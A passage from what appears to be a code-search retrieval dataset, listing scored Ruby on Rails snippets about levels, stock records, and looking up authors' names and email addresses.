"text": "def product_stock_level(product)\n id = epages_id(product)\n perform_get_request(\"/products/#{id}/stock-level\", {})[:stocklevel]\n end",
"title": ""
},
{
"docid": "abbaa82975287eb7734c661e70342621",
"score": "0.5998247",
"text": "def index\n @hqlevels = Hqlevel.with_translations(I18n.locale)\n end",
"title": ""
},
{
"docid": "de00b958a8794eb8efbd79ded80c02b7",
"score": "0.5972127",
"text": "def sport_level_list\n @sport_levels = SportLevel.find_by_user(current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @sport_levels }\n end\n end",
"title": ""
},
{
"docid": "5c9f1e384b3b07708d39b8cb690e84ab",
"score": "0.59653574",
"text": "def power_levels\n get_state('m.room.power_levels')\n end",
"title": ""
},
{
"docid": "3542aa491c412f7525f4c4741bd14e24",
"score": "0.5956312",
"text": "def index\n @playerlevels = @player.playerlevels.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @playerlevels }\n end\n end",
"title": ""
},
{
"docid": "2fbf757ce0ad2c69203146e0a6aaa9b0",
"score": "0.5947976",
"text": "def stocklevel_params\n params.require(:stocklevel).permit(:location, :stockmaximum, :stocksecurity)\n end",
"title": ""
},
{
"docid": "f271bd7235a2caeb275db1799edf96a8",
"score": "0.5933586",
"text": "def assessments_levels_chart_data\n data = ::Api::Charts::MQAssessment.new(@mq_assessment).assessments_levels_data\n\n render json: data.chart_json\n end",
"title": ""
},
{
"docid": "04a695389a695526416ef68b96fe8a28",
"score": "0.5932237",
"text": "def level\n response[\"level\"]\n end",
"title": ""
},
{
"docid": "29101f65261614f01b6feca0fba2bf34",
"score": "0.5930954",
"text": "def create\n @stocklevel = Stocklevel.new(stocklevel_params)\n\n respond_to do |format|\n if @stocklevel.save\n format.html { redirect_to @stocklevel, notice: 'Stocklevel was successfully created.' }\n format.json { render :show, status: :created, location: @stocklevel }\n else\n format.html { render :new }\n format.json { render json: @stocklevel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "95c6f79af5611cb9cf5f90604fbb89d6",
"score": "0.5894934",
"text": "def index\n @belt_levels = BeltLevel.all\n end",
"title": ""
},
{
"docid": "4b7f951e7921a857d4cb24ea4c6a0a26",
"score": "0.588321",
"text": "def index\n @level_plays = LevelPlay.all\n render json: @level_plays, root: false \n end",
"title": ""
},
{
"docid": "082bba4217dd49859ba4d40c78129c82",
"score": "0.5881734",
"text": "def show\n @level = Level.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @level }\n end\n end",
"title": ""
},
{
"docid": "7d427003836831053fe65de688df1b39",
"score": "0.586324",
"text": "def index\n @drunk_levels = DrunkLevel.all\n end",
"title": ""
},
{
"docid": "ba35fe914110cdbcc2c6225c60522c91",
"score": "0.5855474",
"text": "def levels\n [1, 3, 5, 7, 9]\n end",
"title": ""
},
{
"docid": "f5ca2214ddf9763bdbb166d2beabeed4",
"score": "0.58471894",
"text": "def index\n @registry_levels = Registry::Level.paginate(:page => params[:page])\n end",
"title": ""
},
{
"docid": "040bf597c1d165c6927799b45064fa42",
"score": "0.5846734",
"text": "def index\n @level_data_items = LevelDataItem(:user_id => current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @level_data_items }\n end\n end",
"title": ""
},
{
"docid": "20996330613534b1b17d0a290bb8a9de",
"score": "0.58291864",
"text": "def index\n @energy_levels = EnergyLevel.all\n end",
"title": ""
},
{
"docid": "35c622d816871802b44acccdb5cf503c",
"score": "0.5819318",
"text": "def grade_levels\n\t\tif api_grades.present?\n\t\t\tapi_grades.collect {|x| x[:grade].upcase.gsub(/^0/, '') if x[:exists] == true}.compact\n\t\telse\n\t\t\t[]\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2230fa380e0f6a66847655c68ffbd17d",
"score": "0.57804376",
"text": "def parse_all_sectors\n level_json = get_level\n return nil if level_json.nil? || level_json['Level'].nil?\n level.all_sectors(level_json)\n rescue => detail\n print detail.message\n print detail.backtrace.join(\"\\n\")\n return nil\n end",
"title": ""
},
{
"docid": "c28987fba0af3b5d2a3541e49ca880e0",
"score": "0.57756126",
"text": "def levels\n LNAMES\n end",
"title": ""
},
{
"docid": "4cf8c0aadad553d5ef88871d60aa2a1f",
"score": "0.57600284",
"text": "def index\n level = params[:level]\n @items = Item.all\n respond_to do |format|\n format.html { render :index}\n format.json {render json: @items}\n end\n end",
"title": ""
},
{
"docid": "f2f41181027178bdda20525a6cf97dcd",
"score": "0.57490987",
"text": "def index\n @pain_levels = PainLevel.all\n respond_to do |format|\n format.html\n format.json { render json: @pain_levels }\n end\n end",
"title": ""
},
{
"docid": "49f4abc0d85017ee2b3ea2cf7d34bfcc",
"score": "0.57389545",
"text": "def get_levels date = nil\n date = Date.today if date.nil?\n glucose_levels.where(:registered_date => date)\n end",
"title": ""
},
{
"docid": "8b2c3904737d50a57ecfc0c13f2b6e1d",
"score": "0.5733466",
"text": "def show\n render json: @stock\n end",
"title": ""
},
{
"docid": "ba7adf4569efc577b1eebf722ecda879",
"score": "0.57188123",
"text": "def level\n @values['level']\n end",
"title": ""
},
{
"docid": "63f6fbc681f6c57e2fc8d93da8020287",
"score": "0.5698066",
"text": "def index\n @stocks = Existence.amount_and_pieces_by_fabric_id.paginate(:page => params[:page], per_page: 10)\n\n render json: { stocks: @stocks, total_pages: @stocks.total_pages, current_page: @stocks.current_page }\n end",
"title": ""
},
{
"docid": "6a5da7f45f8592ef9ca6a5067a789e10",
"score": "0.5689899",
"text": "def available_levels\n\n l = LEVELS.map{|x| x[1]}\n\t\tif self.additional && self.additional.latest\n\t return LEVELS[(l.index(self.additional.latest.level.downcase) + 1)..-1]\n\t\telse\n\t\t\treturn LEVELS\n\t\tend\n\tend",
"title": ""
},
{
"docid": "64e0661cc888f4c822c8a6fc61147216",
"score": "0.56794804",
"text": "def levels\n (0..11).to_a\n end",
"title": ""
},
{
"docid": "6492ec8c3626e731d63d576909c0d828",
"score": "0.56743217",
"text": "def index\n @voltage_levels = VoltageLevel.all\n end",
"title": ""
},
{
"docid": "996d96472a557ba475e2b3cc27e892e3",
"score": "0.5672636",
"text": "def index\n @vip_levels = @current_shop.vip_levels\n end",
"title": ""
},
{
"docid": "9d788f6bab84d95720a79d4c7202f74c",
"score": "0.56707704",
"text": "def new \n @stock_level = @sku.stock_levels.build\n render partial: 'admin/products/skus/stock_levels/new', format: [:js]\n end",
"title": ""
},
{
"docid": "bfffe26f3058585856d980e63cd346b5",
"score": "0.5670706",
"text": "def item_levels; end",
"title": ""
},
{
"docid": "a18b0206a932cd61e13b4d0082b799a0",
"score": "0.56585956",
"text": "def show\n @servicelevel = Servicelevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @servicelevel }\n end\n end",
"title": ""
},
{
"docid": "ae1f2b35df221c77f79616aee54d86eb",
"score": "0.5654986",
"text": "def index\n @stagelevels = Stagelevel.all\n end",
"title": ""
},
{
"docid": "01f59b8641fd2d4f4b01e6f000490a80",
"score": "0.5641346",
"text": "def show\n @production_level = ProductionLevel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @production_level }\n end\n end",
"title": ""
},
{
"docid": "027c4bc5bbb8c6a7121c6517089c344d",
"score": "0.56301254",
"text": "def index\n @roast_levels = RoastLevel.all\n end",
"title": ""
},
{
"docid": "56c773188623c035d1859aeeeda62981",
"score": "0.5604526",
"text": "def update\n respond_to do |format|\n if @stocklevel.update(stocklevel_params)\n format.html { redirect_to @stocklevel, notice: 'Stocklevel was successfully updated.' }\n format.json { render :show, status: :ok, location: @stocklevel }\n else\n format.html { render :edit }\n format.json { render json: @stocklevel.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "688efa7b35bc3c1a5b994acf0a486a9e",
"score": "0.5593115",
"text": "def index\n @structure_levels = StructureLevel.all\n end",
"title": ""
},
{
"docid": "4d72ddf1a3ecf2244af46896c5e830fd",
"score": "0.5586666",
"text": "def index\n @functional_levels = FunctionalLevel.all\n end",
"title": ""
},
{
"docid": "beff826304b7320e6063bfcb5bb0633b",
"score": "0.5577357",
"text": "def getLevelsGained\n @prize.levels\n end",
"title": ""
},
{
"docid": "d22ddefd8b0b655f8a93b5f67d885f8f",
"score": "0.55766845",
"text": "def index\n @stocks = Stock.all\n respond_to do |format|\n format.html {@stocks}\n format.json {render json: @stocks.as_json}\n end\n end",
"title": ""
},
{
"docid": "775200626cedda609601c5e4d6faeeb2",
"score": "0.55761194",
"text": "def index\n @yearlevels = Yearlevel.all\n end",
"title": ""
},
{
"docid": "775200626cedda609601c5e4d6faeeb2",
"score": "0.55761194",
"text": "def index\n @yearlevels = Yearlevel.all\n end",
"title": ""
},
{
"docid": "f6d4ae918e8d0b1e90c0079acf0cb1c8",
"score": "0.5574526",
"text": "def index\n @grading_levels = GradingLevel.all\n end",
"title": ""
},
{
"docid": "58e96efd8541e256e806267c5ddc0345",
"score": "0.5567902",
"text": "def stock_level()\n case @quantity\n when 1..3\n return \"Low!\"\n when 4..7 \n return \"OK!\"\n else \n return \"High!\"\n end\n end",
"title": ""
},
{
"docid": "c869636a4cb372377fafb8549217f5aa",
"score": "0.55670726",
"text": "def index\n @location_levels = LocationLevel.all\n end",
"title": ""
},
{
"docid": "ebb8aa46206310ead23ef0d9db666b2e",
"score": "0.55513954",
"text": "def getLevelsGained\n @prize.levels\n end",
"title": ""
},
{
"docid": "90e0eeddb1838de9d64b9702992704b5",
"score": "0.55479825",
"text": "def index\n @year_levels = YearLevel.all\n end",
"title": ""
},
{
"docid": "fc6d7184b051fda87ad1d18bdf36b102",
"score": "0.5526632",
"text": "def show_level_name\n\t\trecords = Degree.where(['level like ? and name = ?', \"#{params[:level]}%\", params[:name]])\n\t\tdegrees = Array.new\n\n\t\trecords.each do |record|\n\t\t\tcents_rating = RatesMajor.find_by_sql [\n\t\t\t\t'SELECT avg(rating) AS average\n\t\t\t\tFROM rates_majors\n\t\t\t\tWHERE degree_id = ?',\n\t\t\t\trecord.id\n\t\t\t]\n\t\t\trecord = record.as_json\n\t\t\trecord[:average_rating] = cents_rating[0][:average].to_f\n\t\t\tdegrees << record.except('created_at', 'updated_at')\n\t\tend\n\n\t\tif degrees.present?\n\t\t\treturn render json: degrees, status: 200\n\t\telse\n\t\t\treturn render json: [], status: 404\n\t\tend\n\tend",
"title": ""
},
{
"docid": "bd6dc6af5f5bab47a7f9686438252ccd",
"score": "0.55248153",
"text": "def level_values\n values = []\n apis.each do |api|\n response_param = api['response']['param']\n if response_param.is_a?(Array)\n response_param.each{ |rp| values << rp['level']}\n else\n values << response_param['level']\n end\n end\n values.uniq\n end",
"title": ""
},
{
"docid": "8ae747d6aa053b4826f7ea88d263be39",
"score": "0.5523968",
"text": "def preload_levels\n current_course.levels.to_a\n end",
"title": ""
},
{
"docid": "8ae747d6aa053b4826f7ea88d263be39",
"score": "0.5523968",
"text": "def preload_levels\n current_course.levels.to_a\n end",
"title": ""
},
{
"docid": "50f5d83f779a0a6c4f4ed9087a17556e",
"score": "0.55178565",
"text": "def new\n @list = List.new\n @list.user = current_user\n @games = Game.all\n @levels = @list.levels.order(\"position\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @list }\n end\n end",
"title": ""
},
{
"docid": "8b9ad7e26e76e08f586f128d4df55792",
"score": "0.55169266",
"text": "def new\n @product = Product.new\n\n StockLocation.all.each do |s|\n @product.stock_levels.build(:stock_location => s)\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product }\n end\n end",
"title": ""
},
{
"docid": "3909c9802364b21d906ffdd23b9d0d14",
"score": "0.55121523",
"text": "def index\n\t\tlevel = params[:level]\n\t\tparentId = params[:parentId]\n\n\t\tif level == nil\n\t\t\t@localities = Locality.all\n\t\telsif level == \"5\"\n\t\t\tRails.logger.info \"*******ok + level********\"\n\t\t\tparentId = parentId + \"%\"\n\t\t\t@localities = Locality.where(\"level = ? AND parentId like ?\", level, parentId).all\n\t\telse\n#\t@localities = Locality.select(:code, :parentId ,:name).where(level: level).all\n\t\t\tif parentId == nil\n\t\t\t\t@localities = Locality.where(level: level).all\n\t\t\telse\n\t\t\t\t@localities = Locality.where(\"level = ? AND parentId = ?\", level, parentId).all\n\t\t\tend\n\t\tend\n\t\trespond_with @localities\n end",
"title": ""
},
{
"docid": "9742fdd68e335a6d414da91e548af6a8",
"score": "0.55018467",
"text": "def level\n value = get :level\n value.nil? ? 0 : value\n end",
"title": ""
},
{
"docid": "bfdbe54ed3db2989b1b2f8484449231b",
"score": "0.55005693",
"text": "def index\n if current_user.admin?\n @stocks = Stock.all\n else\n @stocks = current_user.stocks\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stocks } # needed for getJSON\n end\n end",
"title": ""
},
{
"docid": "7dadb481001492352c0aed8a54a6de2d",
"score": "0.5498146",
"text": "def stock\n @hash[\"stock\"]\n end",
"title": ""
},
{
"docid": "c0634184fe5777ef6bc8d65748092bc5",
"score": "0.5487912",
"text": "def index\n @student_levels = @student.levels.joins(:modality).order('modalities.name', date: :desc)\n\n respond_to do |format|\n format.html do\n @modalities = Modality.where.not(id: @student_levels.pluck(:modality_id)).order('modalities.name')\n @student_levels = @student_levels.group_by { |l| l.modality }\n end\n format.json\n end\n end",
"title": ""
},
{
"docid": "0f901101adb698df7dabe36d40b0dd29",
"score": "0.5473561",
"text": "def update_levels\n @levels = Level.where(category_id: params[:category_id]).order_by(level_order: 1)\n respond_to do |format|\n format.js\n end\n end",
"title": ""
}
] |
a871fe3a918b5ecafa7941a1eedb6c07
|
returns the author mail if found, otherwise author itself
|
[
{
"docid": "b515cfa8632ab1f294cae47b629fee72",
"score": "0.7065403",
"text": "def trac_mail(author)\n return @trac_mails_cache[author] if @trac_mails_cache.has_key?(author)\n # tries to retrieve the email from trac db\n data = @trac.sessions.select(:value).where('name = \"email\" AND sid = ?', author)\n return (@trac_mails_cache[author] = data.first[:value]) if data.count == 1\n return (@trac_mails_cache[author] = author) # not found\n end",
"title": ""
}
] |
[
{
"docid": "a1029dd3c808ba4c91b5b1ca0a2b512e",
"score": "0.8047113",
"text": "def email\n return @author_data[:email] unless @author_data == nil\n pick_first_node(@author.css('email'))\n end",
"title": ""
},
{
"docid": "df7d029125051c8249751b2f5b54aebe",
"score": "0.7959158",
"text": "def author_email\n originator.try(:email)\n end",
"title": ""
},
{
"docid": "f7c0494208fd96f83583e398ec9289cf",
"score": "0.77413774",
"text": "def author_email\n self.author.email\n end",
"title": ""
},
{
"docid": "052a77e7dbf3b25f6020dbd0fb5a24d6",
"score": "0.7718904",
"text": "def author_name\n return \"\" if contents.empty?\n contents.first.author_name\n end",
"title": ""
},
{
"docid": "c09a5bab442a96e002d950046399ef7b",
"score": "0.7573384",
"text": "def author\n traverse_element('meta',\n '{http://www.w3.org/1999/xhtml}meta') {|e|\n begin\n next unless e.fetch_attr('name').downcase == 'author'\n author = e.fetch_attribute('content').strip\n return author if !author.empty?\n rescue IndexError\n end\n }\n\n traverse_element('link',\n '{http://www.w3.org/1999/xhtml}link') {|e|\n begin\n next unless e.fetch_attr('rev').downcase == 'made'\n author = e.fetch_attribute('title').strip\n return author if !author.empty?\n rescue IndexError\n end\n } \n\n if channel = find_element('{http://purl.org/rss/1.0/}channel')\n channel.traverse_element('{http://purl.org/dc/elements/1.1/}creator') {|e|\n begin\n author = e.extract_text.strip\n return author if !author.empty?\n rescue IndexError\n end\n }\n channel.traverse_element('{http://purl.org/dc/elements/1.1/}publisher') {|e|\n begin\n author = e.extract_text.strip\n return author if !author.empty?\n rescue IndexError\n end\n }\n end\n\n nil\n end",
"title": ""
},
{
"docid": "4fabce0dd3b1170f8fb774b60d9bff4e",
"score": "0.75434506",
"text": "def author_name\n author.email\n end",
"title": ""
},
{
"docid": "4fabce0dd3b1170f8fb774b60d9bff4e",
"score": "0.75434506",
"text": "def author_name\n author.email\n end",
"title": ""
},
{
"docid": "c843877092ecfb9e458b1214faf2bff2",
"score": "0.7498926",
"text": "def corresponding_author\n Validator.validate_nokogiri(@doc)\n xpath = \"//*/author-notes/fn[@fn-type='corresp']/p\"\n author_string = Utils.clean_text(@doc.xpath(xpath).text)\n author_string.gsub(\"Corresponding author: \", \"\").chomp(\".\")\n end",
"title": ""
},
{
"docid": "59d808bb2650eca3fd0dca45e66bc6ef",
"score": "0.7491441",
"text": "def author\n @author || 'Unknown'\n end",
"title": ""
},
{
"docid": "f6a85efe4468f59922f04e59969cd885",
"score": "0.7490434",
"text": "def author\n if @author.nil?\n @author = FeedTools::Author.new\n author_node = FeedTools::XmlHelper.try_xpaths(self.root_node, [\n \"atom10:author\",\n \"atom03:author\",\n \"atom:author\",\n \"author\",\n \"managingEditor\",\n \"dc:author\",\n \"dc:creator\",\n \"creator\"\n ])\n unless author_node.nil?\n @author.raw = FeedTools::XmlHelper.try_xpaths(\n author_node, [\"text()\"], :select_result_value => true)\n @author.raw = FeedTools::HtmlHelper.unescape_entities(@author.raw)\n unless @author.raw.nil?\n raw_scan = @author.raw.scan(\n /(.*)\\((\\b[A-Z0-9._%-\\+]+@[A-Z0-9._%-]+\\.[A-Z]{2,4}\\b)\\)/i)\n if raw_scan.nil? || raw_scan.size == 0\n raw_scan = @author.raw.scan(\n /(\\b[A-Z0-9._%-\\+]+@[A-Z0-9._%-]+\\.[A-Z]{2,4}\\b)\\s*\\((.*)\\)/i)\n unless raw_scan.size == 0\n author_raw_pair = raw_scan.first.reverse\n end\n else\n author_raw_pair = raw_scan.first\n end\n if raw_scan.nil? || raw_scan.size == 0\n email_scan = @author.raw.scan(\n /\\b[A-Z0-9._%-\\+]+@[A-Z0-9._%-]+\\.[A-Z]{2,4}\\b/i)\n if email_scan != nil && email_scan.size > 0\n @author.email = email_scan.first.strip\n end\n end\n unless author_raw_pair.nil? || author_raw_pair.size == 0\n @author.name = author_raw_pair.first.strip\n @author.email = author_raw_pair.last.strip\n else\n unless @author.raw.include?(\"@\")\n # We can be reasonably sure we are looking at something\n # that the creator didn't intend to contain an email address\n # if it got through the preceeding regexes and it doesn't\n # contain the tell-tale '@' symbol.\n @author.name = @author.raw\n end\n end\n end\n if @author.name.blank?\n @author.name = FeedTools::HtmlHelper.unescape_entities(\n FeedTools::XmlHelper.try_xpaths(author_node, [\n \"atom10:name/text()\",\n \"atom03:name/text()\",\n \"atom:name/text()\",\n \"name/text()\",\n \"@name\"\n ], :select_result_value => true)\n )\n end\n if @author.email.blank?\n @author.email = FeedTools::HtmlHelper.unescape_entities(\n FeedTools::XmlHelper.try_xpaths(author_node, [\n \"atom10:email/text()\",\n \"atom03:email/text()\",\n \"atom:email/text()\",\n \"email/text()\",\n \"@email\"\n ], :select_result_value => true)\n )\n end\n if @author.url.blank?\n @author.url = FeedTools::HtmlHelper.unescape_entities(\n FeedTools::XmlHelper.try_xpaths(author_node, [\n \"atom10:url/text()\",\n \"atom03:url/text()\",\n \"atom:url/text()\",\n \"url/text()\",\n \"atom10:uri/text()\",\n \"atom03:uri/text()\",\n \"atom:uri/text()\",\n \"uri/text()\",\n \"@url\",\n \"@uri\",\n \"@href\"\n ], :select_result_value => true)\n )\n end\n if @author.name.blank? && !@author.raw.blank? &&\n !@author.email.blank?\n name_scan = @author.raw.scan(\n /\"?([^\"]*)\"? ?[\\(<].*#{@author.email}.*[\\)>].*/)\n if name_scan.flatten.size == 1\n @author.name = name_scan.flatten[0].strip\n end\n if @author.name.blank?\n name_scan = @author.raw.scan(\n /.*#{@author.email} ?[\\(<]\"?([^\"]*)\"?[\\)>].*/)\n if name_scan.flatten.size == 1\n @author.name = name_scan.flatten[0].strip\n end\n end\n end\n @author.name = nil if @author.name.blank?\n @author.raw = nil if @author.raw.blank?\n @author.email = nil if @author.email.blank?\n @author.url = nil if @author.url.blank?\n if @author.url != nil\n begin\n if !(@author.url =~ /^file:/) &&\n !FeedTools::UriHelper.is_uri?(@author.url)\n @author.url = FeedTools::UriHelper.resolve_relative_uri(\n @author.url, [author_node.base_uri, self.base_uri])\n end\n rescue\n end\n end\n if FeedTools::XmlHelper.try_xpaths(author_node,\n [\"@gr:unknown-author\"], :select_result_value => true) == \"true\"\n if @author.name == \"(author unknown)\"\n @author.name = nil\n end\n end\n end\n # Fallback on the itunes module if we didn't find an author name\n begin\n @author.name = self.itunes_author if @author.name.nil?\n rescue\n @author.name = nil\n end\n if @author.name.blank? && @author.email.blank? &&\n @author.href.blank?\n parent_feed = self.feed\n if parent_feed != nil\n @author = parent_feed.author.dup\n end\n end\n end\n return @author\n end",
"title": ""
},
{
"docid": "875140d3f57db6e60be63620575ff42b",
"score": "0.7489722",
"text": "def display_author\n return 'Anonymous' if author.blank?\n\n author.name || author.email\n end",
"title": ""
},
{
"docid": "7bd9f733e2b60d58a123fc50f584d51a",
"score": "0.74389",
"text": "def author\n item.author ? item.author.strip : ''\n end",
"title": ""
},
{
"docid": "694d22620eaf2ef57aaad20bbd1b6fa4",
"score": "0.742417",
"text": "def author_email\n comment.author.email\n end",
"title": ""
},
{
"docid": "e9095b8d14bcdd79e985067191cdfcea",
"score": "0.7404054",
"text": "def author\n author = @doc.match('.post-author .fn',\n '.wire_author',\n '.cnnByline b',\n ['meta[@name=\"author\"]', lambda { |el| el.attr('content') }], # Traditional meta tag style\n ['meta[@name=\"AUTHOR\"]', lambda { |el| el.attr('content') }], # CNN style\n '.byline a', # Ruby Inside style\n '.post_subheader_left a', # TechCrunch style\n '.byl', # BBC News style\n '.meta a',\n '.articledata .author a',\n '#owners a', # Google Code style\n '.author a',\n '.author',\n '.auth a',\n '.auth',\n '.cT-storyDetails h5', # smh.com.au - worth dropping maybe..\n ['meta[@name=\"byl\"]', lambda { |el| el.attr('content') }],\n '.fn a',\n '.fn',\n '.byline-author'\n )\n \n return unless author\n \n # Strip off any \"By [whoever]\" section\n author.sub!(/^(post(ed)?\\s)?by\\W+/i, '')\n \n author\n end",
"title": ""
},
{
"docid": "91192f9a1cb990c6e801dd5113e64a7a",
"score": "0.73553395",
"text": "def get_author(doc)\n link = doc.search(\"div.post-header-info > a\")[0]\n link.content\n end",
"title": ""
},
{
"docid": "4c157c54bd5341eb9b9a4bf0aa2fcecf",
"score": "0.72923476",
"text": "def author_name\n if self.author\n return self.author.name \n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "1c0067948c83fe2bc99c5ae50f8d0d2f",
"score": "0.7266295",
"text": "def author_name\n if author\n self.author.name\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "fc9ac5a0496876e2ca445239ab1168cc",
"score": "0.723987",
"text": "def author\n originator.try(:name)\n end",
"title": ""
},
{
"docid": "bbe3272285ae944dc92d7f5f43cb2f2e",
"score": "0.72392946",
"text": "def author_email\n #@cornerstone_email ||= anonymous_or_user_attr(:email)\n anonymous_or_user_attr(:cornerstone_email)\n end",
"title": ""
},
{
"docid": "16815ee8a9e1ecd8618613c053e1ca81",
"score": "0.7233629",
"text": "def author_name\n author.name\n rescue\n nil\n end",
"title": ""
},
{
"docid": "38de5f14a1b209e198ae6c41b7ea4796",
"score": "0.72301507",
"text": "def author\n base_author = \"Matthew Gaines\"\n if @author.nil?\n base_author\n else\n \"#{@author}\"\n end\n end",
"title": ""
},
{
"docid": "58dedcf335fd0027ef06a516c3149887",
"score": "0.72070956",
"text": "def get_author\n\t\tif author_id != nil then\n\t\t\t#TODO\n\t\t\tauthor_id.to_s\n\t\telsif name != nil then\n\t\t\tname\n\t\telse\n\t\t\t''\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b4356c9df0d5406b67e19f90cc4bd2d1",
"score": "0.7180781",
"text": "def citation_author\n page = current_page.data\n return default_author unless page.author\n if page.author.size > 1\n %(#{page.author[0].last_name}, #{page.author[0].first_name},\n and #{page.author[1].first_name} #{page.author[1].last_name})\n else\n \"#{page.author.first.last_name}, #{page.author.first.first_name}\"\n end\n end",
"title": ""
},
{
"docid": "1a990004c88cb6dd1c35a052cb31fcd4",
"score": "0.7176163",
"text": "def author\n if @author.is_a? String\n @author\n end\n end",
"title": ""
},
{
"docid": "599731d6581fe48f57f501d2b2e32bb6",
"score": "0.7166521",
"text": "def author_name\n author.name if author\n end",
"title": ""
},
{
"docid": "29622dc699ffe327e3aff507cb1efba5",
"score": "0.716435",
"text": "def author_name\n if @author == nil\n return nil\n end\n @author.name\n end",
"title": ""
},
{
"docid": "76abf513574ef8855032d3c80f288009",
"score": "0.71632034",
"text": "def get_author\n return @author\n end",
"title": ""
},
{
"docid": "955c13a4c469572f7b89cfc15785dfde",
"score": "0.71621335",
"text": "def author\n if @data['author']\n @data['author']\n else\n @data['author'] = field_fetch('A')\n end\n end",
"title": ""
},
{
"docid": "53f00addfe5d22cd1499121a043af173",
"score": "0.71596783",
"text": "def author_name\n author.author_name\n end",
"title": ""
},
{
"docid": "2d90d379aef620af70922bd1ce99134b",
"score": "0.71457833",
"text": "def author_name\n if author\n author.name\n end\n end",
"title": ""
},
{
"docid": "332880583c4c6df69f1ea9b54df5802d",
"score": "0.7145143",
"text": "def author\n val = authors and val.first\n end",
"title": ""
},
{
"docid": "799df0e97cd68cce99c5d238edaf1069",
"score": "0.7144278",
"text": "def author\n return @data['author']\n end",
"title": ""
},
{
"docid": "b9a44fc1b5353899e0a5531b00bf06ff",
"score": "0.7141791",
"text": "def author\n return nil if authors.empty?\n authors.first.name\n end",
"title": ""
},
{
"docid": "2d44ef8360af20d3aa4829e327429b2f",
"score": "0.71278167",
"text": "def author\n return @author\n end",
"title": ""
},
{
"docid": "d02c125d7500df993a55f5efb4abb4d4",
"score": "0.71272564",
"text": "def author\n object.user.nickname\n # self.object.user.email\n end",
"title": ""
},
{
"docid": "5fb22054f1f0d47b29819088a7252ca7",
"score": "0.7104933",
"text": "def getAuthor\n author = User.newFromDBbyID(userid).username\n return author\n end",
"title": ""
},
{
"docid": "53db484ced3c49b32b8e2ae234246c5d",
"score": "0.71034455",
"text": "def get_one_author(author, _options = {})\n return { \"literal\" => \"\" } if author.strip.blank?\n\n author = cleanup_author(author)\n names = Namae.parse(author)\n\n if names.blank? || is_personal_name?(author).blank?\n { \"literal\" => author }\n else\n name = names.first\n\n { \"family\" => name.family, \"given\" => name.given }.compact\n end\n end",
"title": ""
},
{
"docid": "60d88c049ee6253456b496f0840ca76c",
"score": "0.7088599",
"text": "def get_author()\n author = @@metadata['author'].gsub(/\\./,'_').gsub(/\\&/,'').gsub(/\\-/,'_').gsub(/\\s|\\//,'_').gsub(/\\,/,'_').gsub(/\\_\\_/,'_')\n I18n.enforce_available_locales = false\n I18n.transliterate(author).downcase # Normalising\n end",
"title": ""
},
{
"docid": "90dbd1be87530528e1077e19a1cf54e6",
"score": "0.70690274",
"text": "def author_name\n author.name if author\n end",
"title": ""
},
{
"docid": "d71b4c73c09b5b170a23375b459b0efe",
"score": "0.7063117",
"text": "def author\n @author ||= meta['author']\n end",
"title": ""
},
{
"docid": "21cfa3b508052fcf17de3c02297fc7a1",
"score": "0.70563775",
"text": "def author_name\n self.author.name if self.author\n end",
"title": ""
},
{
"docid": "0cd6c8683cc2b99c2a462d162feb3676",
"score": "0.7056299",
"text": "def author\n owner_name.empty? ? owner_username : owner_name\n end",
"title": ""
},
{
"docid": "c23dcac677c64ae3502abfb822e9d9a8",
"score": "0.702971",
"text": "def author_name\n if self.author == nil\n nil\n else\n self.author.name\n end\n end",
"title": ""
},
{
"docid": "2aec3d3d530b0a751c968033d8bf3869",
"score": "0.70243096",
"text": "def author\n @author ||= begin\n return if author_string_or_hash.to_s.empty?\n\n author = if author_string_or_hash.is_a?(String)\n author_hash(author_string_or_hash)\n else\n author_string_or_hash\n end\n\n author[\"twitter\"] ||= author[\"name\"]\n author[\"twitter\"].delete! \"@\" if author[\"twitter\"]\n author.to_liquid\n end\n end",
"title": ""
},
{
"docid": "f547704f23fe4aeab1b819b02b17a6f2",
"score": "0.70044476",
"text": "def get_one_author(author)\n return { \"literal\" => \"\" } if author.strip.blank?\n\n author = cleanup_author(author)\n names = Namae.parse(author)\n\n if names.blank? || is_personal_name?(author).blank?\n { \"literal\" => author }\n else\n name = names.first\n\n { \"family\" => name.family,\n \"given\" => name.given }.compact\n end\n end",
"title": ""
},
{
"docid": "e1e9ce3de41ba9255f20078f8194ea10",
"score": "0.6999423",
"text": "def git_author_email\n `git log #{git_sha} -n 1 --pretty=%ae`.chomp\n end",
"title": ""
},
{
"docid": "fbf4cf134ed23f38d810ac697c74c4cc",
"score": "0.69932634",
"text": "def author\n Person.find(self.issuer_id).full_name\n end",
"title": ""
},
{
"docid": "c4284a03ae5e0bbdcaff0c05dccffb90",
"score": "0.69843435",
"text": "def get_author_orcid( work )\n return '' if work.author_email.blank?\n cid = User.cid_from_email( work.author_email )\n return '' if cid.blank?\n\n status, attribs = ServiceClient::OrcidAccessClient.instance.get_attribs_by_cid( cid )\n if ServiceClient::OrcidAccessClient.instance.ok?( status )\n return attribs['uri'] ? attribs['uri'] : ''\n else\n puts \"INFO: No ORCID located for #{cid}\" if status == 404\n puts \"ERROR: ORCID lookup returns #{status}\" unless status == 404\n end\n\n # no ORCID found\n return ''\n\n end",
"title": ""
},
{
"docid": "89645cc17d761e39809096a495009fa8",
"score": "0.698191",
"text": "def corresponding_author_emails\n corresponding_authors.map(&:email)\n end",
"title": ""
},
{
"docid": "8bd42777ef3124a3ba41beda51e40ff0",
"score": "0.69773585",
"text": "def author\n author_name = attribute(mapping['author.name'])\n author_url = attribute(mapping['author.url'])\n\n if author_name || author_url\n {\n name: author_name,\n url: author_url,\n }.compact\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "af7b73121c83c0ec19385e4c2efe650c",
"score": "0.69730586",
